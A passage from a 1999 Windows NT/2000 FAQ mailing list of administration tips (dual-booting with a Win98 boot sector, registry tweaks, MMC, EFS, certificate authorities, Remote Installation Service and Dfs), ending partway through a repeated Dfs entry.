3, Start the NT installation and use setup to create a new partition after the Win98 partition. NT will give you a message something like, "NT needs to temporarily disable the other OS before the installation can continue". All this does is change the active partition to the new NT partition. This is actually want you want so it is OK.
4, Install NT and convert the partition to NFTS.
5, Using "Disk Administrator", change the active partition to the Win98 partition.
6, Boot into Win98 and using DEBUG.EXE, execute the following debug script:
L 100 2 0 1
n bootsect.f32
rcx
200
w
q
7, Copy the bootsect.f32 to a floppy disk which is created in your current directory
C:\> copy bootsect.f32 a:
8, Use FDISK to set the active partition back to the NT partition
9, Boot to NT and copy the bootsect.f32 file into the root of C:
10, Add the following line to the end of the C:\BOOT.INI file. You will need to remove the system and readonly attributes:
C:\>attrib c:\boot.ini -r -s
The line to be added is:
c:\bootsect.f32="Windows 98"
Now set the permissions back on boot.ini
C:\>attrib c:\boot.ini +r +s
11, Reboot NT and you should now have an option for "Windows 98"

--------------------------------------------------------------------------------

Q. How can I stop the 'Welcome to Windows NT' screen during setup?

A. Normally when a user logs on for the first time a splash screen is displayed welcoming the new users. This can be disabled in a number of ways.

Method 1

Copy the I386 directory structure from the Windows NT installation CD to a distribution server
Create the Unattend.txt file as normal
In the I386 directory on the distribution server rename the file Welcome.ex_ to Welcome.bak
C:\> rename welcome.ex_ welcome.bak
Create a backup of the file Txtsetup.sif file (which is also in the I386 directory) to Txtsetup.bak
Edit Txtsetup.sif and place a ; in front of the welcome.exe line, so the line
welcome.exe=1,,,,,,,1,0,0
becomes
;welcome.exe=1,,,,,,,1,0,0
Save the modified file.
Create a backup of Dosnet.inf (again in the I386 directory) to dosnet.bak
Edit Dosnet.inf and again place a ; in front of the welcome.exe line, so the link
d1,welcome.exe
becomes
;d1,welcome.exe
Save the modified file
Perform the unattended installation from the distribution share
The above just stops the installation of the welcome.exe image and so stopping it from executing. An alternative is to create a registry script that runs during installation which disables the Welcome dialog.

Method 2

As before copy the I386 directory from the NT CD to a distribution server
Create an unattend.txt file as per normal
Create a directory called $oem$ under the I386 directory on the distribution server
In the $oem$ directory create a file called cmdlines.txt and enter the following lines:
[Commands]
".\regedit /s nowelcom.reg"
Again in the $oem$ directory create a file called nowelcom.reg with the following lines (keep the blank line):
REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion \Explorer\Tips]
"DisplayInitialTipWindow"=dword:00000000
"Show"=hex:00,00,00,00
"Next"=hex:03,00
Copy the file regedit.exe from the I386 directory into the $oem$ directory
Perform the unattended installation from the distribution share

--------------------------------------------------------------------------------

Q. How can I stop tips showing on startup?

A. To stop tips for the current user you can uncheck the display checkbox on the dialog when it is displayed or edit the registry:

Start the registry editor (regedit.exe)
Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Tips
Double click 'show'
Change the 01 to 00
Click OK
Close the registry editor
To stop it being shown for new users edit the the value under HKEY_USERS\.DEFAULT and set to 0 which new users will inherit. This works under Windows 2000.

--------------------------------------------------------------------------------

Cheers,

John


From: John Savill [john@savilltech.com]
Sent: 28 June 1999 12:05
To: NTFAQ Mailing List
Subject: NT FAQ, 28 June 1999

All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html

News:

Sorry I never sent a mailing last week, I have been really busy looking through all the logo entries!

I've released CmdInfo which enables you to check various bits of information about the system such as service Pack version, is the system trial and you can download from http:/www.savilltech.com/download/cmdinfo.zip. Its designed to be used in logon scripts as it sets errorlevel enabling you to perform actions in the logon script based on the results. Below is the readme:

Switch %errorlevel% values used. You can only use ONE switch (as only one errorlevel can
be returned)

/b	Actually returns the build number, e.g. 2031
/sp	Returns the Service pack number, e.g. 3 for SP3, 4 for SP4 etc
    0 for unknown
/v	Version
    1=3.1
    2=3.5
    3=3.51
    4=4.0
    5=Windows 2000
    0=Unknown
/r	Role
    1=Workstation
    2=Server
    3=Domain Controller
/t	Type of installation
    1=Workstation
    2=Server
    3=Domain Controller
    4=Terminal Server Edition
    5=Enterprise Edition
/ed	Length of limited version in days, e.g. 120
/tr	Installation type, full, NFR or trial
    1=Full Version
    2=Not For Resale
    3=Time Limited
    0=Not known
/?	Basic help (not much though :-) )

You can just use cmdinfo with no switch for a basic PC summary. The next major version will
support the querying of remote machines.

Below is a basic batch file to use cmdinfo to test for service pack:

@ECHO OFF

CMDINFO.EXE /sp
IF ERRORLEVEL 5 GOTO SP5
IF ERRORLEVEL 4 GOTO SP4
IF ERRORLEVEL 3 GOTO SP3
IF ERRORLEVEL 2 GOTO SP2
IF ERRORLEVEL 1 GOTO SP1
IF ERRORLEVEL 0 GOTO SP0

:SP5
ECHO Service Pack 5 is installed on this NT computer.
ECHO No further upgrades are necessary.
GOTO END

:SP4
ECHO Service Pack 4 is installed on this NT computer.
ECHO Press any key to install Service Pack 5...
PAUSE > NUL
rem Let's assume drive X: is mapped to a sharepoint...
rem X:\SP5\UPDATE\UPDATE.EXE -u -f -o
GOTO END

rem (etc. ...)

:END
EXIT

Standard items:

The NT FAQ book can now be reserved via Amazon.com and will be out in July. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq

Code to include the FAQ Search engine on your site:

--------
<FORM ACTION="http://www.ntfaq.com/ntsearch.cgi">
<INPUT TYPE="text" SIZE="30" NAME="data">
<INPUT TYPE="submit" VALUE="Search">
</FORM>
The <A href="http://www.ntfaq.com">NT FAQ</A> is provided courtesy of <A
href="http://www.ntfaq.com/contact.html">John Savill</A>.
--------
Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site.

As normal please post any questions/comments to the NT FAQ discussion area,
http://www.ntfaq.com/discuss/discuss.html

New additions last (two) weeks:

Q. How can I lock a workstation from the command line?
Q. How do I create a Dfs root volume in Windows 2000?
Q. How can I add a replica Dfs root volume in Windows 2000?
Q. How can I add a child node to Dfs in Windows 2000?
Q. How can I add a replica child node to Dfs in Windows 2000?
Q. How to I install an Enterprise Certificate Authority? - Windows 2000
Q. How do I create a Certificate Trust List for the domain? - Windows 2000
Q. How can a user request an EFS recovery certificate?
Q. How can I add a user as an EFS recovery agent for a domain?
Q. How can I configure the Windows 2000 System File Checker?
Q. How can I configure the Remote Installation Service options?
Q. How can I install using the Remote Installation Service disk?
Q. How do I create a new Remote Installation Service image?
Q. What is the Encrypted File System (EFS)?
Q. What do I encrypt/decrypt a file?
Q. What do I encrypt/decrypt a file from the command line?
Q. What does message/error/event X mean?
Q. Where is time zone information stored in NT/2000?
Q. How can I disable daylight saving time changes?
Q. How can I improve I/O performance?
Q. When I double click on a MSI file it has no association, what can I do?
Q. Logon scripts are hanging/looping, why?
Q. Does Windows support the Promise Ultra ATA/66?
Q. The NTVDM and WOW subsystems cannot start correctly, what can I do?
Q. What is the Microsoft Management Console (MMC)?
Q. How do I create a custom MMC configuration?
Q. Where is X from NT 4.0 in Windows 2000?

---------------------------------------------------------------------

Q. What is the Microsoft Management Console (MMC)?

A. Microsoft Management Console (MMC) - previously known by the code name "Slate" is Microsoft's new interface for machine and application management and allows the user to create a custom console with "snap-ins" loaded. MMC provides a shell with no functionality, a 'snap-in' provides the functionality, such as DNS management, and while a number of default console configurations will be supplied with certain snap-in's pre loaded you will be able to create your own console with one or more snap-ins loaded.

The main MMC window has the 'Console' menu which is used to add and remove snap-ins to the console and to also save the configuration to enable you to reload any useful snap-in combinations.

Future Microsoft applications, such as Exchange 6.0 (Platinum) will use MMC snap-ins instead of normal applications and other software providers will follow suit with snap-ins for most application management interfaces.

The MMC is core in Windows 2000 and was first seen in NT 4.0 with Option Pack 4, Internet Information Server 4.0 and Service Pack 4's Security Configuration Editor.

The latest version of the MMC for Windows NT 4.0 can be downloaded from http://www.microsoft.com/MANAGEMENT/MMC/download.htm.

--------------------------------------------------------------------------------

Q. How do I create a custom MMC configuration?

A. One of MMC's great features is its flexible and we will take a quick look at this by creating out own custom console.

The first step is to start the MMC shell, select Start - Run and type MMC.EXE. MMC will be started with no snap-ins loaded and has no functionality.

The next step is to add a snap-in:

1, From the main MMC menu, select Console - Add/Remove Snap-in
2, The Add/Remove dialog will be shown and no snap-ins will be listed. Click Add
3, A list of all known snap-ins will be displayed. Select a snap-in (for example Disk Management) and click Add
4, Depending on the snap-in added other options may be displayed for example on the Disk Management you can choose the local computer or a remote computer. Click Finish
5, You may add other snap-ins (for example DNS). When finished adding click Close
6, The dialog will show the snap-ins added. Click OK
7, The main console will now show the snap-ins added at the root. Its possible for each snap-in to be in its own window within the MMC rather than as a single tree by right clicking on the snap-in and selecting 'New Windows from Here' from the context menu. If you did this for all snap-ins loaded you could close the main tree window.

Once your console is laid out to your liking you can save it as follows:

Select 'Save As' from the Console menu.
Select a location to save the configuration as and enter a name. It will have a .msc extension.
Click Save
If you save to your profile area, e.g. d:\Documents and Settings\Administrator\Start Menu\Programs\Administrative Tools the new MMC configuration will be displayed on the Start Menu.

--------------------------------------------------------------------------------

Q. Where is X from NT 4.0 in Windows 2000?

A. Windows NT 4.0 had a large number of applications for domain and system management which have been replaced in Windows 2000 as, or part of, a MMC snap-in. The table below shows mapping of 4.0 application to MMC snap-in.

In many situations the 2000 has its own snap-in but is usually called from a larger group snap-in, e.g. Computer Management MMC snap-in which contains many other snap-ins.

Backup (NTBACKUP.EXE) NTBACUP.EXE New utility but same name. Does not use MMC as may be called from command prompt as part of automated procedure. Based on Seagate technology

Disk Administrator (WINDISK.EXE) Disk Management By default in Computer Manager MSC file, Start - Programs - Administrative Tools - Computer Management - Storage - Disk Management

Event Viewer (EVENTVWR.EXE) Event Viewer By default in Computer Manager MSC file, Start - Programs - Administrative Tools - Computer Management - System Tools - Event Viewer

License Manager (LLSMGR.EXE) LLSMGR.EXE Start - Programs - Administrative Tools - Licensing

Migration Tool to Netware (NWCONV.EXE)

Network Client Administrator (NCADMIN.EXE) Remote Install Service Start - Programs - Administrative Tools - Active Directory Users and Computers - Select computer - Remote Install tab

Performance Monitor (PERFMON.EXE) Performance Logs and Alerts By default in Computer Manager MSC file, Start - Programs - Administrative Tools - Computer Management - System Tools - Performance Logs and Alerts

Remote Access Admin (RASADMIN.EXE) Routing and Remote Access By default in Computer Manager MSC file, Start - Programs - Administrative Tools - Computer Management - Server Applications and Services - Routing and Remote Access

Server Manager (SRVMGR.EXE) Active Directory Users and Computers Start - Programs - Administrative Tools - Active Directory Users and Computers - Select Domain - Computers branch
Promote of a machine to a domain controller is via DCPROMO.EXE utility

System Policy Editor (POLEDIT.EXE) Group Policy Editor Right click on a container, select Properties and select Group Policy tab.

User Manager for Domains (USRMGR.EXE) Active Directory Users and Computers Start - Programs - Administrative Tools - Active Directory Users and Computers - Select Domain - Users branch

User Manager for Domains (USRMGR.EXE) - Trusts Active Directory Domains and Trusts Start - Programs - Administrative Tools - Active Directory Domains and Trusts - Right click domain - Select Properties - Select Trusts tab

User Manager for Domains (USRMGR.EXE) - Account Policies Group Policy Start - Programs - Administrative Tools - Active Directory Users and Computers - Right click on Domain - Select Properties - Select Group Policy - select Domain Policy and click Edit - Computer Configuration - Windows Settings - Account Policies

User Manager for Domains (USRMGR.EXE) - User Rights Group Policy Start - Programs - Administrative Tools - Active Directory Users and Computers - Right click on Domain - Select Properties - Select Group Policy - select Domain Policy (or a container) and click Edit - Computer Configuration - Windows Settings - Local Policies - User Rights Assignment

User Manager for Domains (USRMGR.EXE) - Audit Group Policy Start - Programs - Administrative Tools - Active Directory Users and Computers - Right click on Domain - Select Properties - Select Group Policy - select Domain Policy (or a container) and click Edit - Computer Configuration - Windows Settings - Local Policies - Audit Policy

Windows Diagnositics (WINMSD.EXE) System Information By default in Computer Manager MSC file, Start - Programs - Administrative Tools - Computer Management - System Tools - System Information

Domain Network Services (DNS) DNS Start - Programs - Administrative Tools - DNS

Dynamic Host Configuration Protocol (DHCP) DHCP Start - Programs - Administrative Tools - DHCP

WINS WINS Start - Programs - Administrative Tools - WINS

--------------------------------------------------------------------------------

Q. Logon scripts are hanging/looping, why?

A. A known problem exists as reported in Microsoft KB article 234049 which can result in login scripts hanging or looping if a file called net.bat or net.cmd exists in the netlogon folder of the domain controller.

This problem is caused by any client attempting net commands such as "net use" or "net time" which incorrectly uses the .bat file in the netlogon share rather than the correct net.exe on the client.

To resolve remove the net.bat or net.cmd from the netlogon share.

--------------------------------------------------------------------------------

Q. Does Windows support the Promise Ultra ATA/66?

A. The Promise Ultra ATA/66 is an IDE interface card which with newer hard disks you can have 66MB/s transfer times.

Promise have produced drivers for Windows NT 4.0 which can be downloaded from http://www.promise.com but there are currently no drivers for Windows 2000 and the 4.0 driver does NOT work under 2000.

--------------------------------------------------------------------------------

Q. The NTVDM and WOW subsystems cannot start correctly, what can I do?

A. The NT Virtual Dos Machine and the Windows On Windows subsystem are used to run older 16 bit software applications. Below are some trouble shooting steps

Check the Autoexec.nt and Config.nt for anything unusual or anything that can be commented out (in the %systemroot%\system32 directory).
Rename Autoexec.bat (e.g. c:\autoexec.bat).
Check for changes in Win.ini or System.ini, or replace by expanding the original files off of the installation media. (%systemroot% directory)
Rename all other *.ini files if possible
In the Config.nt file, allow only:
dos=high, umb
device=%SystemRoot%\system32\himem.sys
files=60
shell=%SystemRoot%\system32\command.com /e:4096
If you still have problems checkout Knowledge Base article http://support.microsoft.com/support/kb/articles/q196/4/53.asp which has more information.

--------------------------------------------------------------------------------

Q. What does message/error/event X mean?

A. Microsoft have an excellent online tool which can tell you the meaning of common event and error messages.

Goto http://mspress.microsoft.com/reslink/common/msg/ and select the relevant component and message for a detailed explanation.

--------------------------------------------------------------------------------

Q. Where is time zone information stored in NT/2000?

A. Selecting the Date/Time control panel applet and the 'Time Zone' tab allows the local country and its associated time difference to be set along with daylight saving to be enabled.

Changing this dialog updates the registry values under the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TimeZoneInformation key and the most useful values are as follows:

ActiveTimeBias	The current time difference from GMT (Greenwich Mean Time) in minutes. This is the difference FOR GMT, so if you are one hour ahead, GMT is one hour behind and the value would be ffffffc4 which is hex for -60.

Bias 			The normal time difference from GMT excluding daylight saving in minutes. Again this is the difference for GMT, so if you are three hours ahead (if you live in Moscow) Bias would be ffffff4c which is hex for -180. If you were two hours behind GMT (if you're on a boat in the Mid Atlantic) GMT is two hours ahead so the value is 120.

DaylightBias 	The time difference used for daylight saving, again for GMT, so one hour ahead would be ffffffc4 (hex for -60). Notice ActiveTimeBias is the sum of Bias and DaylightBias in daylight saving months, or same as Bias in standard months.

DaylightName 	Name used during daylight saving months

StandardName 	Name used during non-daylight saving months

DaylightStart 	Tells the computer when to start daylight mode.

StandardStart 	When to start standard mode

DisableAutoDaylightTimeSet 	Only exists if you unselect the "Automatically adjust clock for daylight saving" and is set to 1.

Using the resource kit REG.EXE utility you could query these from the command line

C:\>reg query hklm\system\currentcontrolset\control\timezoneinformation\bias
REG_DWORD bias 0

C:\>reg query hklm\system\currentcontrolset\control\timezoneinformation\daylightname
REG_SZ daylightname GMT Daylight Time

--------------------------------------------------------------------------------

Q. How can I disable daylight saving time changes?

A. Start the Date/Time control panel applet, select the 'Time Zone' tab and unselect the "Automatically adjust clock for daylight saving".

It can also be done directly in the registry

Start the registry editor (regedit.exe)
Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TimeZoneInformation
From the edit menu select New - DWORD value
Enter a name DisableAutoDaylightTimeSet and press enter
Double click the new value and set to 1. Click OK
Close the registry editor

--------------------------------------------------------------------------------

Q. How can I improve I/O performance?

A. If your system is fairly I/O intensive, you may benefit from raising the I/O Page Lock Limit, which can increase the effective rate the OS reads or writes data to the hard disks.

First, benchmark your common tasks. See how long it takes to load and save large files, how long it takes to search a database or run a common program; just do your normal tasks, timing them to record how fast they are. Then follow these steps:

1, Start the registry editor (regedit.exe)
2, Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
3, Double click IoPageLockLimit
4, Enter a new value.
5, This value is the maximum bytes you can lock for I/O operations. A value of 0 defaults to 512KB. 6, Raise this value by 512KB increments (enter "512", "1024", etc.), then exit regedt32 and benchmark your system after each adjustment. When an increase does not give you a significant performance boost, go back and undo the last increment.

Caution: There is a limit to this. Do not set this value (in bytes) beyond the number of megabytes of RAM times 128. That is, if you have 16 MB RAM, do not set IoPageLockLimit over 2048 bytes; for 32MB RAM, do not exceed 4096 bytes, and so on.
Click OK.
Close the registry editor
Unless you do little I/O, this should give you a significant boost in performance.

--------------------------------------------------------------------------------

Q. When I double click on a MSI file it has no association, what can I do?

A. MSI files are Microsoft's new software installation package format and will allow applications to be published to a domain, site or group in Windows 2000 and also allow the application to self-repair.

If when double clicking a MSI file it asks for an application to run under, its default association has been lost so perform the following to fix:

Start a command prompt (Start - Run - cmd.exe)
Type the command:
C:\> ftype Msi.Package
If the response is
Msi.Package="%SystemRoot%\System32\msiexec.exe" /i "%1"
then continue to the next step. If it is not found type
C:\> ftype Msi.Package="%SystemRoot%\System32\msiexec.exe" /i "%1"
Continue to the next step
Type the command:
C:\> assoc .msi
If the response is
.msi=Msi.Package
then check the %systemroot%\system32 folder for the msiexec.exe file and replace if missing.
If there is no association (the most normal problem) type:
C:\> assoc .msi=Msi.Package
Close the command prompt
Retry double clicking on a MSI file

--------------------------------------------------------------------------------

Q. What is the Encrypted File System (EFS)?

A. New to Windows 2000 and the NTFS 5.0 file system is the Encrypted File System (EFS) which as the name suggests is used to encrypt files.

NTFS is a secure file system however with more and more people using portables and utilities such as NTFSDos which bypasses NTFS security another layer or protection is needed.

EFS uses a public and private key encryption and the CryptoAPI architecture. EFS can use any symmetric encryption algorithm to encypt files however the initial release only uses DES. 128-bit keys are used in North America, 40-bit internationally.

No preparation is needed to encrypt files and the first time a user encrypts a file an encryption certificate for the user and a private key are automatically created.

If encrypted files are moved they stay encrypted, if users add files to an encrypted folder the new files are automatically encrypted. There is no need to decrypt a file before use, the operating system automatically handles this for you in a secure manner.

In the event of a users private key being lost (either by reinstallation or new user creation) the EFS recovery agent can decrypt the files.

--------------------------------------------------------------------------------

Q. What do I encrypt/decrypt a file?

A. Encrypting and compressing a file/folder is mutually exclusive, you can encrypt a file or compress it, not both.

To decrypt a file perform the following:

Start Explorer
Right click on the file/folder
Select Properties

Under the General tab click Advanced
Check the 'Encrypt contents to secure data'. Click OK

Click Apply on the properties
If you selected a file it will ask if you want to encrypt the parent folder to prevent the file from becoming unencrypted during modification. Click OK If you selected a folder if will ask if you want to encrypt subfolders and files also. Click OK.

Click OK to the main dialog
To decrypt repeat the above but unselect the box. If you decrypt a folder it will ask if you also want to decrypt all child folders and files.

--------------------------------------------------------------------------------

Q. What do I encrypt/decrypt a file from the command line?

A. A command line utility, CIPHER.EXE, can be used to encrypt and decrypt files from the command line.

CIPHER [/E | /D] [/S:dir] [/I] [/F] [/Q] [dirname [...]]

/E Encrypts the specified directories. Directories will be marked so that files added afterward will be encrypted.
/D Decrypts the specified directories. Directories will be marked so that files added afterward will not be encrypted.
/S Performs the specified operation on directories in the given directory and all subdirectories.
/I Continues performing the specified operation even after errors have occurred. By default, CIPHER stops when an error is encountered.
/F Forces the encryption operation on all specified directories, even those which are already encrypted. Already-encrypted directories are skipped by default.
/Q Reports only the most essential information.
dirname Specifies a pattern, or directory.

Used without parameters, CIPHER displays the encryption state of the current directory and any files it contains. You may use multiple directory names and wildcards. You must put spaces between multiple parameters.

--------------------------------------------------------------------------------

Q. How can I configure the Windows 2000 System File Checker?

A. Windows 2000 includes a new component which protects system files by scanning all protected system files and replaces incorrect versions with correct Microsoft versions.

It is possible to modify the behavior of this protection using the SFC.EXE utility (you must be a member of the Administrators group).

SFC [/SCANNOW] [/SCANONCE] [/SCANBOOT] [/CANCEL] [/PURGECACHE] [/CACHESIZE=x] [/QUIET]

/SCANNOW Scans all protected system files immediately.
/SCANONCE Scans all protected system files once at the next boot.
/SCANBOOT Scans all protected system files at every boot.
/CANCEL Cancels all pending scans of protected system files.
/QUIET Replaces all incorrect file versions without prompting the user.
/PURGECACHE Purges the file cache and scans all protected system files immediately.
/CACHESIZE=x Sets the file cache size

Setting the Quiet options updates HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SFCDisable and the other options modify HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SFCScan.

You can disable SFC by performing the following:

Start the registry editor (regedit.exe)
Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
From the Edit menu select New - DWORD value
Enter a name of EnableFileProtection, press enter
Double click the value and set to 0
Close the registry editor

--------------------------------------------------------------------------------

Q. How can I configure the Remote Installation Service options?

A. To configure a RIS server perform the following:

Start the Active Directory Users and Computers MMC snap-in (Start - Programs - Administrative Tools - Active Directory Users and Computers)
Select the computers container
Right click on the computer and select Properties
Select the Remote Install tab
You can now select the clients that the server responds to and can also select to let the service perform a self check by clicking 'Verify Server'. Clicking Advanced Settings allows rules for new computer names to be set and also extra images and tools can be added
Client options are configured using the domain/site/OU policy object and is this example we look at the domain GPO

Start the Active Directory Users and Computers MMC snap-in (Start - Programs - Administrative Tools - Active Directory Users and Computers)
Right click on the domain and select Properties
Select the 'Group Policy' tab.
Select the domain policy object and click Edit
Expand the User Configuration\Windows Settings\Remote Installation Service
Double click 'Choice Options'

Make any changes
Click Apply then OK
Once you have made the changes force a reload of the policy

C:\> secedit /refreshpolicy user_policy

--------------------------------------------------------------------------------

Q. How can I install using the Remote Installation Service disk?

A. To install using the RIS disk perform the following:

Insert the RIS disk
Reboot the computer
Upon reboot it will boot off of the disk and you should press F12 for a network book
A DHCP address will be negotiated and a welcome screen shown. Press Enter
Enter a username, password and domain. The user must have the "logon as batch" user right.
Client Installation Wizard

Type a valid user name, password and domain name. You may use the
Internet-style logon format (for example: Username@Company.com).

User name: [savillj   ]
Password: [pass]
Domain name: [savilltech.com]
Depending on the options configured in the group policy object you may have options to:
- Automatic Setup
- Custom Setup
- Restart a Previous Setup Attempt
Press Enter
If you have more than one client image you can select the image to install. Press Enter
A warning that all data will be deleted will be shown. Press Enter
The computer account name and a Global Unique ID will be shown. To start installation press Enter
The normal installation actions of NTDETECT will start and NT installation commence

--------------------------------------------------------------------------------

Q. How do I create a new Remote Installation Service image?

A. Its possible to create new images based on existing installations which has the advantage of having applications already installed and configured. To configure the new image perform the following:

Create a 2000 Professional installation with applications installed. Both the system and boot partition must be the same partition, e.g C:
Logon to the machine as an Administrator
Run the RIPrep image from the RIS server (Start - Run - \\<RIS  server>\REMINST\Admin\i386\riprep.exe), e.g \\titanic\REMINST\Admin\I386\riprep.exe
Click Next at the welcome dialog

Enter the server name of the RIS server. Click Next
Enter a folder name for the new install, e.g. 2000andapps. Click Next
Enter a friendly description and help text. Click Next

Any running applications will be displayed and you will be asked to stop them. Click Next after stopping them
A summary of the remote installation server and folder name will be displayed. Click Next
A screen explaining the next step will be shown. Click Next to begin the image preparation
The program will verify the Windows version, check the partitions are OK and then copy files to the RIS server, this may take some time
The machine will then shutdown and you may reboot and use as normal
If you examine the RIS server you now have an extra client image.

--------------------------------------------------------------------------------

Q. How to I install an Enterprise Certificate Authority? - Windows 2000

A. An Enterprise Certificate Authority is needed in a domain to allow clients to request certificates, for example an Encrypted File System recovery certificate. To install perform the following:

Start the Add/Remove Programs Control Panel applet (Start - Settings - Control Panel - Add/Remove Programs)
Click 'Add/Remove Windows Components'. The Windows Components wizard will start
Click Next at the welcome screen
A list of components will be displayed, check the 'Certificate Services' box and click Next
You will be asked for the type:
- Enterprise root CA
- Enterprise subordinate CA
- Stand-alone root CA
- Stand-alone subordinate CA
Select the first option, "Enterprise root CA" and click Next

Enter a CA name and other information about the organization. Click Next

Accept the default location for the certificate database (%systemroot%\System32\CertLog). Click Next
If the IIS service is running it will be stopped and a dialog displayed, click OK.
A list of files to be copied will be created and the files installed along with any service and system configuration, you may be asked for the 2000 Server CD
Click Finish to the wizard when complete
The Certificate Authority MMC snap-in will now have a shortcut in the Administrative Tools folder.

--------------------------------------------------------------------------------

Q. How do I create a Certificate Trust List for the domain? - Windows 2000

A. You need to configure each domain with a list of Certificate Authorities that it trusts to allow users of the domain to request certificates. You first need to install an Enterprise Certificate Authority.

You also need to ensure you have an Administrator certificate (or an explicit Trust Signing certificate) which can be requested as follows:

Start the MMC console (Start - Run - MMC)
From the Console menu select 'Add/Remove Snap-in...'
Click Add
Select Certificates and click Add
Select 'My user account' as the type and click Finish
Click Close
Click OK to the main dialog
Expand the Certificates root and right click on Personal
Select 'Request New Certificate' from the 'All Tasks' menu

Click Next to the Certificate Request Wizard
Select template 'Administrator' and click Next
Enter a friendly name and description. Click Next
A confirmation screen will be displayed. Click Finish
A dialog will be displayed confirming creation of the certificate. Click 'Install Certificate'. Click OK to the success dialog
To create the Certificate Trust List perform the following:

Start the Active Directory Users and Computers MMC snap-in (Start - Programs - Administrative Tools - Active Directory Users and Computers)
Right click on the domain and select Properties
Click the 'Group Policy' tab
Select the 'Default Domain Policy' (or other policy) and click Edit
Expand User Configuration - Windows Settings - Security Settings - Public Key Policies - Enterprise Trust
Right click on Enterprise Trust and select New - Certificate Trust List

The Certificate Trust List wizard will be started. Click Next
You can enter a prefix for the CTL and the purpose, e.g. Encrypting File System. Click Next

You must now select a certificate, click Add from Store, select a domain certificate and click OK. Click Next
You now need to select a signature (the Administrator created in the last section). Click 'Select from Store'. Select a certificate displayed and click OK. Click Next
You can optionally add a timestamp. Click Next
Enter a friendly name and description. Click Next
Click Finish to the summary page.
Click OK on the success dialog

--------------------------------------------------------------------------------

Q. How can a user request an EFS recovery certificate?

A. To request a EFS certificate you first need the domain to have a trusted list of Certificate Authorities and the user needs to be a domain Administrator.

1, Start the MMC console (Start - Run - MMC.EXE)
2, From the Console menu select 'Add/Remove Snap-in...'
3, Click Add
4, Select Certificates and click Add
5, Select 'My user account' and click Finish
6, Click Close
7, Click OK to the main dialog
8, Expand the Certificates root and right click on Personal
9, Select 'Request New Certificate' from the 'All Tasks' menu
10, Click Next to the Certificate Request Wizard
11, Select 'EFS Recovery Agent' and click Next
12, Enter a friendly name and description. Click Next
13, Click Finish the summary dialog
14, Click 'Install Certificate'. Click OK
15, You will now have a File Recovery certificate under the Personal\Certificates folder.

--------------------------------------------------------------------------------

Q. How can I add a user as an EFS recovery agent for a domain?

A. Recovery agents are users who can recovery encrypted files for a domain. To add new users as recovery agents they must first have recovery certificates.

1, Start the Active Directory Users and Computers (Start - Programs - Administrative Programs - Active Directory Users and Computers)
2, Right click on the domain and select Properties
3, Select 'Group Policy' tab
4, Select the 'Default Domain Policy' and click Edit
5, Expand Computer Configuration\Windows Settings\Security Settings\Public Key Policies\Encrypted Data Recovery Agents
6, Right click 'Encrypted Data Recovery Agents' and select Add
7, Click Next to the 'Add Recovery Agent Wizard'
8, Click 'Browse Directory'. Locate the user and click OK
9, Click Next to the agent dialog select
10, Click Finish to the confirmation
11, Close the Group Policy Editor

Refresh the machine policy

C:\> secedit /refreshpolicy machine_policy

The agent will only be able to recover files encrypted after the user was made an agent. If an encrypted files is unencrypted and the encrypted or even just opened the new agent WILL be able to recover it as the file will "refresh" its recovery certificates (if the recovery policy has changed).

--------------------------------------------------------------------------------

Q. How can I lock a workstation from the command line?

A. Windows 2000 enables you to lock the workstation by typing the following command

C:\> rundll32.exe user32.dll,LockWorkStation

You could also use this as a shortcut on you desktop.

--------------------------------------------------------------------------------

Q. How do I create a Dfs root volume in Windows 2000?

A. Windows 2000 currently supports one Dfs root per server however this will be expanded in future versions of the operating system/service packs.

The Distributed File System has its own DFS Microsoft Management Console snap-in which has a shortcut on the Administrative Tools folder.

To create a new Dfs root perform the following:

1, Start the Distributed File System MMC snap-in (Start - Programs - Administrative Tools - Distributed File System)
2, If its the first time you have run it a dialog will be displayed confirming no roots currently exist. Click OK
3, Right click on the Distributed File System root and select ‘New Dfs Root Volume…’
4, The Dfs root creation wizard will be started, click Next to the introduction screen
5, The next screen gives the option of a fault-tolerant Dfs root which uses the Active Directory to store the information or a standalone Dfs root if the Active Directory is not available or not wanted. Select ‘Create a fault-tolerant Dfs root’ and click Next
6, Select a domain to use. A list of available domains will be displayed and the current domain will be selected as the current choice. Click Next. This screen is not displayed if you are not creating a fault-tolerant Dfs root.
7, You will need to select a server to host the Dfs root (a domain member if fault tolerant) and must be running the Dfs service. The current server will be selected but can be changed by typing a domain name or click Browse. Click Next
8, The next stage is to select a share to act as the Dfs root. A list of existing shares will be displayed or you can select to create a new share by entering a share name and location. Click Next
9, Each Dfs root requires a unique name and will, by default, be the name of the share although you can change this. You can also select to add the new Dfs root to the current console. Click Next
10, A summary screen will be displayed showing the domain, server, share and Dfs root name. Click Finish to create the Dfs root
11, Once complete a success message will be displayed. Click OK

--------------------------------------------------------------------------------

Q. How can I add a replica Dfs root volume in Windows 2000?

A. If your Dfs root was created as a fault-tolerant Dfs root you may add other Dfs servers as part of the Dfs root replica set.

To add a new Dfs root replica member perform the following:

1, Start the Distributed File System MMC snap-in (Start - Programs - Administrative Tools - Distributed File System)
2, Right click on the root you wish to add a replica to and select ‘New Root Replica Member’
3, You will be asked for a server that will host a copy of the Dfs root. Click Next
4, As when creating the original you need to either select an existing share or create a new folder and share. Click Finish
5, Click OK to the success confirmation

These root replicas will all contain the Dfs root information by utilitizing and replicating via the Active Directory. You can actually see the Dfs information using the Active Directory Users and Computers snap-in, select Advanced Features view, System, Dfs.

--------------------------------------------------------------------------------

Q. How can I add a replica Dfs root volume in Windows 2000?

A. If your Dfs root was created as a fault-tolerant Dfs root you may add other Dfs servers as part of the Dfs root replica set.

To add a new Dfs root replica member perform the following:

1, Start the Distributed File System MMC snap-in (Start - Programs - Administrative Tools - Distributed File System)
